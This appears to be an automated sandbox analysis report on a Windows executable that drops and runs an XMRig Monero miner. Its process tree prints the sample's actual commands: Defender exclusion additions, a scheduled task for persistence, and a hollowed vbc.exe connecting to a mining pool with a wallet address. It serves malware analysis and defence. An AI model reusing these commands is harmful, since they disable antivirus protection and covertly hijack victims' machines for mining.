Analysis
- max time kernel
75s - max time network
126s - platform
windows7_x64 - resource
win7-20220901-en - resource tags
- submitted
21/12/2022, 11:10
General
- Target file.exe
- Size 765KB
- Sample221221-m9pkgacb72
- SHA256 e6d236c856b00720491ea4fd567137ace59a73d6f4ee5d6512b72e5ad6164f0f
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 3 IoCs
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 1 IoCs
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 8 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 42 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\tmpB96.tmp.bat""2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
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C:\ProgramData\cloud\TQOV.exe"C:\ProgramData\cloud\TQOV.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "TQOV" /tr "C:\ProgramData\cloud\TQOV.exe"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "TQOV" /tr "C:\ProgramData\cloud\TQOV.exe"5⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
TQOV.exe
TQOV.exe
tmpB96.tmp.bat
590aee7bdd69b59b.customDestinations-ms
590aee7bdd69b59b.customDestinations-ms
590aee7bdd69b59b.customDestinations-ms
TQOV.exe
memory/856-182-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/856-184-0x0000000000000000-0x0000000001000000-memory.dmp
memory/856-186-0x0000000000000000-0x0000000001000000-memory.dmp
memory/856-159-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/856-158-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/856-185-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1048-63-0x000007FEF6C60000-0x000007FEF6D57000-memory.dmp
memory/1048-65-0x000007FEF5DE0000-0x000007FEF67CC000-memory.dmp
memory/1048-72-0x00000000000E0000-0x0000000000122000-memory.dmp
memory/1048-70-0x000007FEF69E0000-0x000007FEF6B0C000-memory.dmp
memory/1048-68-0x000007FEFBC90000-0x000007FEFBCE6000-memory.dmp
memory/1048-69-0x0000000000290000-0x00000000003B6000-memory.dmp
memory/1048-83-0x000007FEFE590000-0x000007FEFE5AF000-memory.dmp
memory/1048-67-0x000007FEFE200000-0x000007FEFE403000-memory.dmp
memory/1048-66-0x000007FEFDD30000-0x000007FEFDE5D000-memory.dmp
memory/1048-71-0x0000000000290000-0x00000000003B6000-memory.dmp
memory/1048-64-0x000007FEFE480000-0x000007FEFE55B000-memory.dmp
memory/1048-84-0x0000000000290000-0x00000000003B6000-memory.dmp
memory/1048-61-0x000007FEFD5D0000-0x000007FEFD63C000-memory.dmp
memory/1048-62-0x000007FEFF480000-0x000007FEFF4F1000-memory.dmp
memory/1048-60-0x0000000077540000-0x000000007765F000-memory.dmp
memory/1048-59-0x000007FEFF3E0000-0x000007FEFF47F000-memory.dmp
memory/1048-58-0x0000000077440000-0x000000007753A000-memory.dmp
memory/1048-57-0x000007FEFE410000-0x000007FEFE477000-memory.dmp
memory/1048-56-0x000007FEFB1F0000-0x000007FEFB28C000-memory.dmp
memory/1048-55-0x000007FEFB290000-0x000007FEFB2FF000-memory.dmp
memory/1536-129-0x000007FEEE290000-0x000007FEEEDED000-memory.dmp
memory/1536-148-0x00000000025C4000-0x00000000025C7000-memory.dmp
memory/1536-150-0x00000000025CB000-0x00000000025EA000-memory.dmp
memory/1536-120-0x000007FEED470000-0x000007FEEDE93000-memory.dmp
memory/1536-133-0x000000001B7D0000-0x000000001BACF000-memory.dmp
memory/1536-126-0x00000000025C4000-0x00000000025C7000-memory.dmp
memory/1536-142-0x00000000025C4000-0x00000000025C7000-memory.dmp
memory/1716-149-0x000000000247B000-0x000000000249A000-memory.dmp
memory/1716-141-0x0000000002474000-0x0000000002477000-memory.dmp
memory/1716-123-0x000007FEEE290000-0x000007FEEEDED000-memory.dmp
memory/1716-119-0x000007FEED470000-0x000007FEEDE93000-memory.dmp
memory/1716-135-0x000000001B6F0000-0x000000001B9EF000-memory.dmp
memory/1716-147-0x0000000002474000-0x0000000002477000-memory.dmp
memory/1716-125-0x0000000002474000-0x0000000002477000-memory.dmp
memory/1732-93-0x0000000077440000-0x000000007753A000-memory.dmp
memory/1732-143-0x000007FEF13C0000-0x000007FEF13DC000-memory.dmp
memory/1732-96-0x0000000077540000-0x000000007765F000-memory.dmp
memory/1732-116-0x000007FEFB910000-0x000007FEFBB25000-memory.dmp
memory/1732-183-0x0000000000FD0000-0x00000000010F6000-memory.dmp
memory/1732-95-0x0000000000FD0000-0x00000000010F6000-memory.dmp
memory/1732-121-0x000007FEFF770000-0x000007FEFF847000-memory.dmp
memory/1732-94-0x000007FEFF3E0000-0x000007FEFF47F000-memory.dmp
memory/1732-90-0x000007FEFB290000-0x000007FEFB2FF000-memory.dmp
memory/1732-108-0x000007FEF68E0000-0x000007FEF6A0C000-memory.dmp
memory/1732-92-0x000007FEFE410000-0x000007FEFE477000-memory.dmp
memory/1732-107-0x0000000000FD0000-0x00000000010F6000-memory.dmp
memory/1732-130-0x000007FEFE590000-0x000007FEFE5AF000-memory.dmp
memory/1732-131-0x0000000000FD0000-0x00000000010F6000-memory.dmp
memory/1732-132-0x00000000000E0000-0x0000000000122000-memory.dmp
memory/1732-157-0x000007FEFCAC0000-0x000007FEFCB1B000-memory.dmp
memory/1732-106-0x0000000000FD0000-0x00000000010F6000-memory.dmp
memory/1732-156-0x000007FEFD7F0000-0x000007FEFD826000-memory.dmp
memory/1732-105-0x000007FEFBC90000-0x000007FEFBCE6000-memory.dmp
memory/1732-155-0x000007FEFAD50000-0x000007FEFAD77000-memory.dmp
memory/1732-154-0x000007FEFD270000-0x000007FEFD295000-memory.dmp
memory/1732-138-0x000007FEFCDF0000-0x000007FEFCE12000-memory.dmp
memory/1732-139-0x000007FEFCCA0000-0x000007FEFCCB7000-memory.dmp
memory/1732-152-0x000007FEFA7E0000-0x000007FEFA851000-memory.dmp
memory/1732-104-0x000007FEFE200000-0x000007FEFE403000-memory.dmp
memory/1732-103-0x000007FEFDD30000-0x000007FEFDE5D000-memory.dmp
memory/1732-91-0x000007FEFB1F0000-0x000007FEFB28C000-memory.dmp
memory/1732-97-0x00000000000E0000-0x0000000000122000-memory.dmp
memory/1732-102-0x000007FEF53F0000-0x000007FEF5DDC000-memory.dmp
memory/1732-101-0x000007FEFE480000-0x000007FEFE55B000-memory.dmp
memory/1732-144-0x000007FEF13E0000-0x000007FEF1442000-memory.dmp
memory/1732-145-0x000007FEFF850000-0x000007FEFF89D000-memory.dmp
memory/1732-100-0x000007FEF6A10000-0x000007FEF6B07000-memory.dmp
memory/1732-99-0x000007FEFF480000-0x000007FEFF4F1000-memory.dmp
memory/1732-98-0x000007FEFD5D0000-0x000007FEFD63C000-memory.dmp
memory/1732-146-0x000007FEFA770000-0x000007FEFA7D4000-memory.dmp
memory/1872-124-0x0000000002524000-0x0000000002527000-memory.dmp
memory/1872-151-0x0000000002524000-0x0000000002527000-memory.dmp
memory/1872-134-0x000000001B710000-0x000000001BA0F000-memory.dmp
memory/1872-140-0x0000000002524000-0x0000000002527000-memory.dmp
memory/1872-153-0x000000000252B000-0x000000000254A000-memory.dmp
memory/1872-122-0x000007FEEE290000-0x000007FEEEDED000-memory.dmp
memory/1872-81-0x000007FEED470000-0x000007FEEDE93000-memory.dmp
memory/2020-136-0x00000000028B4000-0x00000000028B7000-memory.dmp
memory/2020-127-0x00000000028B4000-0x00000000028B7000-memory.dmp
memory/2020-78-0x000007FEED470000-0x000007FEEDE93000-memory.dmp
memory/2020-128-0x000007FEEE290000-0x000007FEEEDED000-memory.dmp
memory/2020-75-0x000007FEFBEE1000-0x000007FEFBEE3000-memory.dmp
memory/2020-137-0x00000000028BB000-0x00000000028DA000-memory.dmp